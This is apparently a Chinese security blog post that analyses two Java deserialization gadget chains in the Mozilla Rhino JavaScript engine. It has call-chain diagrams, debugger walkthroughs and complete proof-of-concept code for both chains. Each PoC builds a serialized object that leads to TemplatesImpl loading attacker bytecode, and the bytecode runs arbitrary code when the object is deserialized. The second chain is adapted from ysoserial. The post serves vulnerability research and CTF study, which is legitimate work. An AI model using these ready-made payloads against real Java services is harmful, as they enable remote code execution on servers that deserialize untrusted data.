Mozilla Rhino介绍
Rhino的中文名是犀牛,我也不知道为什么作者这么取名,可能他喜欢犀牛吧(
ChatGPT先生的回答如下
Mozilla Rhino是一款基于Java语言的开源JavaScript引擎,可以嵌入到Java应用程序中,使得Java程序可以使用JavaScript语言进行编程。
使用Rhino可以实现在Java应用程序中运行JavaScript代码,从而扩展了Java的能力,比如可以动态地加载、编译和执行JavaScript代码,实现脚本化编程。
以下是使用Rhino的一些基本步骤:
- 下载Rhino:可以从Mozilla Rhino的官方网站下载最新版本的Rhino。
- 导入Rhino:将Rhino的JAR文件导入到Java项目中,并将其添加到classpath中。
- 创建ScriptEngine:使用ScriptEngineManager类创建ScriptEngine对象,该对象将用于执行JavaScript代码。
- 执行JavaScript代码:使用ScriptEngine对象的eval()方法来执行JavaScript代码。
下面是一个简单的示例代码,演示了如何使用Rhino执行JavaScript代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| javaCopy code import javax.script.*;
public class RhinoExample { public static void main(String[] args) throws Exception { ScriptEngineManager factory = new ScriptEngineManager();
ScriptEngine engine = factory.getEngineByName("JavaScript");
engine.eval("print('Hello, world!')"); } }
|
这个例子中,我们创建了一个ScriptEngineManager对象来管理ScriptEngine,然后通过getEngineByName()方法创建了一个JavaScript引擎。接着,我们使用eval()方法来执行一行简单的JavaScript代码,输出了“Hello, world!”这个字符串。
在实际的应用程序中,我们可以将Rhino用于各种用途,比如编写脚本、进行动态的代码生成和执行等。
用人话来说,Rhino库是用来在Java中执行Js代码的一个库,比如上述例子中我们可以运行print函数
Rhino1链
这一条链其实是比较长的也比较复杂,所以这里先给出调用链的逻辑图,这样可以缓解一些复杂程度,单看链长其实是没什么特别的,也不是特别长,主要是其中的一些细节需要注意
1 2 3 4 5 6 7 8
| BadAttributeValueExpException.readObject() NativeError.toString() ScriptableObject.getProperty() ScriptableObject.getImpl() NativeJavaMethod.call() NativeJavaObject.unwrap() MemberBox.invoke() TemplatesImpl.newTransformer()
|
同时我先放出poc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.mozilla.javascript.*;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class RhinoChain1 {
public static String fileName = "MozillaRhino1.bin";
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Boogipop"); byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\evil.class")); byte[][] codes={code}; setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes",codes);
Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); nativeErrorConstructor.setAccessible(true); Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();
Context context = Context.enter(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templates, TemplatesImpl.class);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");
Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject"); prototypeField.setAccessible(true); prototypeField.set(nativeError, nativeJavaObject);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); getSlot.setAccessible(true); Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot"); Field getterField = getterSlotClass.getDeclaredField("getter"); getterField.setAccessible(true); getterField.set(slotObject, nativeJavaMethod);
BadAttributeValueExpException exception = new BadAttributeValueExpException("su18"); Field valField = exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception, nativeError);
deserial(serial(exception));
} public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); }
}
|
OK。准备就绪。那么就开始调试分析吧。
入口点自然是BadAttribute的toString。
塞了一个NativeError对象,而这也是今天的主角。我们仔细看看这个类的构造吧。
首先它继承IdScriptableObject
,而IdScriptableObject又继承ScriptableObject
,进而继承serializable接口,因此是可以被序列化和反序列化的。
随后就去调用了toString方法。
跟进。
这里调用了ScriptableObject.getProperty
,这是它父类的一个方法,参数是它本身(NativeError)。跟进。
这里调用了NativeError.get方法,由于它自身是没有get的,因此用的是父类的。
继续调父类的get。
跟进getImpl。接下来就会有点多的内容了。
可以看到是调用了getSlot方法。返回一个Slot数组。我们这里跟进去看看逻辑
判断是不是GetterSlot实例,如果是就返回。从下方的变量来看是的。所以直接返回。
随后退回getImpl方法,获取刚刚得到的slot的getter属性。
获取到一个NativeJavaMethod实例。
随后判断delegateTo是否为空,这里delegateTo属性是trensit修饰,自然不能反射修改也不能赋值,所以是空的因此调用call方法。这里的f就是刚刚的getter对象也就是NativeJavaMethod实例,跟进call。
获取methods属性的第一个元素,这里我们在POC中把它改为了一个恶意的MethodBox
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| while(true) { if (o == null) { throw Context.reportRuntimeError3("msg.nonjava.method", this.getFunctionName(), ScriptRuntime.toString(thisObj), c.getName()); }
if (o instanceof Wrapper) { javaObject = ((Wrapper)o).unwrap(); if (c.isInstance(javaObject)) { break; } }
o = o.getPrototype(); } }
|
随后会进入上述的一串while循环,第一次是过掉了2个if进入了getPrototype(),o为NativeError类,这个方法会获取其prototypeObject属性
可以看到我们获取到了一个NativeJavaObject实例
其中的javaObject就是恶意templates
调用NativeJavaObject的uwrap函数,跟进看看
返回JavaObject也就是Templates,随之invoke 完成 rce
小细节
POC中有这么一段
1 2 3 4 5 6 7 8 9 10 11
| Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); getSlot.setAccessible(true); Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot"); Field getterField = getterSlotClass.getDeclaredField("getter"); getterField.setAccessible(true); getterField.set(slotObject, nativeJavaMethod);
|
这一段第一次看起来可能比较的迷惑。首先第一段反射调用getSlot方法获取到一个Slot对象,然后GetterSlot是Slot的子类
因此我们设置Slot的getter方法对应调试流程中的这一步
强转Slot为GetterSlot获取getter属性
Rhino2链
我直接复制粘贴了,实在是比较的长。
参考:https://su18.org/post/ysoserial-su18-4/#nativejavaarray-environment
前置知识
JavaMembers
org.mozilla.javascript.JavaMembers 是 Rhino 对 Java Class的一种封装和描述。
JavaMembers 实例化时接收一个 Scriptable 对象,一个 Class 类型的对象,和一个布尔类型的参数 includeProtected 表示是否包含 “Protect” 修饰符的,调用 reflect() 方法获取类的信息并放入自己的相关成员变量中。
其中包括:
- 调用 discoverAccessibleMethods() 方法获取类中的全部 Method,如果是静态方法,则将方法名和 Method 对象映射的 Map 放入 staticMembers 中,否则放入 members 中。
- 然后把 staticMembers 和 members 中的 Method 实例用 NativeJavaMethod 作为 Wrapper 进行封装,这样 staticMembers 和 members 中就变成了方法名和 NativeJavaMethod 实例的映射。
- 接下来对 Field 进行映射,依旧是区分是否静态并存放在 staticMembers 和 members 中,如果 field 名和 method 名重复,则使用 FieldAndMethods 对象来同时封装二者。
- 接下来是对 get/set 方法进行提取和封装,对所有 get/set/is 开头 的方法名进行提取,去除前缀并将第一位字母改为小写,作为 beanPropertyName,然后获取在 staticMembers 和 members 中查找属性对应的 get/set/is 方法的映射,如果有 NativeJavaMethod 的值,在其中找到无参且有返回值的方法。
- 使用获得的 getter/setter 实例化 BeanProperty ,并用 beanPropertyName 和映射存放在 staticMembers 和 members 中。
- 最后映射构造方法,使用 MemberBox 包裹后存入 ctors。
经过了 JavaMembers 的初始化后,可以说一个 Java Class 的相关信息被储存和封装在了这个 JavaMembers 中。JavaMembers 提供了很多方法来查询和提取相应的对象以供调用。
其中有一个 static 方法 lookupClass(),为 JavaMembers 对象提供了缓存功能,如果有,则从ClassCache 中提取,如果没有,则 new 一个 JavaMembers 并放在响应的缓存中。
JavaMembers 还提供了一个 get() 方法,是本条链最重要的触发点,简单来说,这个方法接收一个属性名,和一个类实例,然后使用反射去调用这个属性的 getter 方法,然后根据返回值的类型不同,使用自己的类去 Wrap 这个返回值,如 Array 用 NativeJavaArray, Object 的用 NativeJavaObject。
那既然如此,就可以使用这个方法来触发 TemplatesImpl 的 getOutputProperties 方法。测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
Context context = Context.enter(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Class<?> c = Class.forName("org.mozilla.javascript.JavaMembers"); Method m = c.getDeclaredMethod("lookupClass", Scriptable.class, Class.class, Class.class, boolean.class); m.setAccessible(true); Object o = m.invoke(null, scriptableObject, TemplatesImpl.class, TemplatesImpl.class, true);
Method m2 = c.getDeclaredMethod("get", Scriptable.class, String.class, Object.class, boolean.class); m2.setAccessible(true); m2.invoke(o, scriptableObject, "outputProperties", tmpl, false);
|
NativeJavaObject
在 MozillaRhino1 中,使用了 NativeJavaObject 作为 Wrapper 类来返回恶意的 javaObject,也就是 TemplatesImpl,当时仅仅是关注了 NativeJavaObject 同时实现了 Wrapper 和 Scriptable 这两个接口,这里来详细看一下。
NativeJavaObject 是一个对非 Array 类型的 Java Object 的封装,构造方法接收 javaObject 对象,staticType Class对象,调用 initMembers() 方法来封装和获取相关信息。
initMembers() 方法调用了 JavaMembers.lookupClass() 来执行之前描述过的解析过程,而将生成的结果存在成员变量 member 中。
而 NativeJavaObject 的 get 方法则调用了 JavaMembers 的 get 方法。
那其实就可以通过 NativeJavaObject 的 get 方法来直接出发恶意调用,测试代码如下:
1 2 3 4 5
| TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl(); Context context = Context.enter(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class); nativeJavaObject.get("outputProperties", scriptableObject);
|
除此之外,NativeJavaObject 实现了 Serializable 接口,重写了 readObject 方法,在反序列化过程中,会判断 isAdapter 标志位,如果为 true,则会调用反射调用 adapter_readAdapterObject 传入 this 对象和 ObjectInputStream。
而这个 adapter_readAdapterObject 实际上是 org.mozilla.javascript.JavaAdapter 的 readAdapterObject 方法,在 NativeJavaObject 的 static 语句进行了初始化。
也就是说,在 isAdapter 为 false 时,NativeJavaObject 使用自己的逻辑反序列化,而 isAdapter 为 true 时,NativeJavaObject 委托 JavaAdapter 为其反序列化。跟一下调用逻辑:
readAdapterObject 从 ObjectInputStream 中读取数据,调用 getAdapterClass() 获取 Adapter 对象的 Class,并通过反射调用指定参数的构造方法进行实例化, getAdapterClass() 方法接收的第四个参数 delegee 其实就是 NativeJavaObject 中的 javaObject。
getAdapterClass() 方法调用了 getObjectFunctionNames 方法返回 ObjToIntMap 对象。
而 getObjectFunctionNames 方法调用了 ScriptableObject.getProperty() 方法,会触发对象的 get 方法。
此时,如果 obj 是带有恶意 javaObjet 的 NativeJavaObject,而 id 是 “outputProperties”,岂不是就触发漏洞了吗?
想的很美,但是 id 并非传参,而是使用了 ScriptableObject.getPropertyIds(obj) 返回的字符串类型数组循环得到的。
ScriptableObject.getPropertyIds() 方法实际调用 obj 的 getIds(),而如果 obj 是 NativeJavaObject ,将会调用 JavaMembers 的 getIds 方法。
方法会返回所有非静态 member 储存 Map 的 key,实际上 JavaMembers 对象初始化时储存的全部成员变量和方法的 name 。
这种情况下,如果 obj 为 NativeJavaObject ,ids 中确实可以包含 outputProperties,但是由于后续会触发 invoke 方法调用,for 循环还没执行到那一步就会报错。所以还是没办法触发调用。
于是我们需要想办法让 ScriptableObject.getPropertyIds() 这个方法只返回一个值。
NativeJavaArray + Environment
NativeJavaArray 是 NativeJavaObject 的子类,满足 NativeJavaObject 的一切特征。
同时其 getIds() 方法返回空。
ScriptableObject.getPropertyIds() 这个方法会调用 obj 的 getIds(),还会调用其原型 prototype 的 getIds()。
ysoserial 使用了 org.mozilla.javascript.tools.shell.Environment 作为 NativeJavaArray 的原型触发,Environment 的 getIds() 方法调用 super 也就是 ScriptableObject.getIds()
方法从 firstAdded 成员变量中获取 Slot name 并返回。
这样我们就可以构造出利用链了。
攻击构造
这条链我仅仅是看通了调用,对于 Rhino 本身的代码并不了解,所以很难说完全理解了利用链,这里直接使用 ysoserial 的代码来进行攻击构造,先列出几个点:
- ysoserial 使用反射调用 ScriptableObject 的 accessSlot 方法来注册 Slot,直接反射写入firstAdded 应该也可
- 为了触发构造,需要使 NativeJavaObject 的 isAdapter 为 true,但是这样在序列化时就会报错,为了避免此情况,需要对其 adapter_writeAdapterObject 成员变量进行篡改。
最终代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| public class MozillaRhino2 {
public static String fileName = "MozillaRhino2.bin";
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { out.writeObject("java.lang.Object"); out.writeObject(new String[0]); out.writeObject(javaObject); }
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
ScriptableObject scope = new Environment(); Map<Object, Object> associatedValues = new Hashtable<>(); Object classCacheObject = SerializeUtil.createInstanceUnsafely(ClassCache.class); associatedValues.put("ClassCache", classCacheObject);
Field associateField = ScriptableObject.class.getDeclaredField("associatedValues"); associateField.setAccessible(true); associateField.set(scope, associatedValues);
Class<?> memberBoxClass = Class.forName("org.mozilla.javascript.MemberBox"); Constructor<?> constructor = memberBoxClass.getDeclaredConstructor(Method.class); constructor.setAccessible(true); Object initContextMemberBox = constructor.newInstance(Context.class.getMethod("enter"));
ScriptableObject initContextScriptableObject = new Environment(); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); makeSlot.setAccessible(true); Object slot = makeSlot.invoke(initContextScriptableObject, "su18", 0, 4);
Class<?> slotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot"); Field getterField = slotClass.getDeclaredField("getter"); getterField.setAccessible(true); getterField.set(slot, initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Field parentField = NativeJavaObject.class.getDeclaredField("parent"); parentField.setAccessible(true); parentField.set(initContextNativeJavaObject, scope);
Field isAdapterField = NativeJavaObject.class.getDeclaredField("isAdapter"); isAdapterField.setAccessible(true); isAdapterField.set(initContextNativeJavaObject, true);
Field adapterObject = NativeJavaObject.class.getDeclaredField("adapter_writeAdapterObject"); adapterObject.setAccessible(true); adapterObject.set(initContextNativeJavaObject, MozillaRhino2.class.getDeclaredMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Field javaObject = NativeJavaObject.class.getDeclaredField("javaObject"); javaObject.setAccessible(true); javaObject.set(initContextNativeJavaObject, initContextScriptableObject);
ScriptableObject scriptableObject = new Environment(); scriptableObject.setParentScope(initContextNativeJavaObject); makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = (NativeJavaArray) SerializeUtil.createInstanceUnsafely(NativeJavaArray.class);
Field parentField2 = NativeJavaObject.class.getDeclaredField("parent"); parentField2.setAccessible(true); parentField2.set(nativeJavaArray, scope);
Field javaObject2 = NativeJavaObject.class.getDeclaredField("javaObject"); javaObject2.setAccessible(true); javaObject2.set(nativeJavaArray, tmpl);
nativeJavaArray.setPrototype(scriptableObject);
Field prototypeField = NativeJavaObject.class.getDeclaredField("prototype"); prototypeField.setAccessible(true); prototypeField.set(nativeJavaArray, scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Field parentField3 = NativeJavaObject.class.getDeclaredField("parent"); parentField3.setAccessible(true); parentField3.set(nativeJavaObject, scope);
Field isAdapterField3 = NativeJavaObject.class.getDeclaredField("isAdapter"); isAdapterField3.setAccessible(true); isAdapterField3.set(nativeJavaObject, true);
Field adapterObject3 = NativeJavaObject.class.getDeclaredField("adapter_writeAdapterObject"); adapterObject3.setAccessible(true); adapterObject3.set(nativeJavaObject, MozillaRhino2.class.getDeclaredMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Field javaObject3 = NativeJavaObject.class.getDeclaredField("javaObject"); javaObject3.setAccessible(true); javaObject3.set(nativeJavaObject, nativeJavaArray);
SerializeUtil.writeObjectToFile(nativeJavaObject, fileName); SerializeUtil.readFileObject(fileName);
}
}
|
总结
以上就是 MozillaRhino2 链分析的全部内容了,可以看到,这两条链的作者对 Rhino 的功能和实现特别了解,调用链十分长且难懂,最后总结一下。
利用说明:
- NativeJavaObject 在反序列化时调用 JavaAdapter 的 readAdapterObject 来处理指定的 NativeJavaArray 类,会调用其中 prototype 中的 Environment 类中 slots 的 getter 方法,由 JavaMembers 的 get 方法触发。
Gadget 总结:
- kick-off gadget:org.mozilla.javascript.NativeJavaObject#readObject()
- sink gadget:org.mozilla.javascript.JavaMembers#get()
- chain gadget:org.mozilla.javascript.JavaAdapter#getAdapterClass()
调用链展示:
1 2 3 4 5 6 7 8 9 10 11 12
| NativeJavaObject.readObject() JavaAdapter.readAdapterObject() JavaAdapter.getAdapterClass() JavaAdapter.getObjectFunctionNames() ScriptableObject.getPropertyIds() NativeJavaArray.getIds() Environment.getIds() ScriptableObject.getIds() ScriptableObject.getProperty() NativeJavaArray.get() JavaMembers.get() TemplatesImpl.getOutputProperties()
|
依赖版本
rhino-js > 1.6R6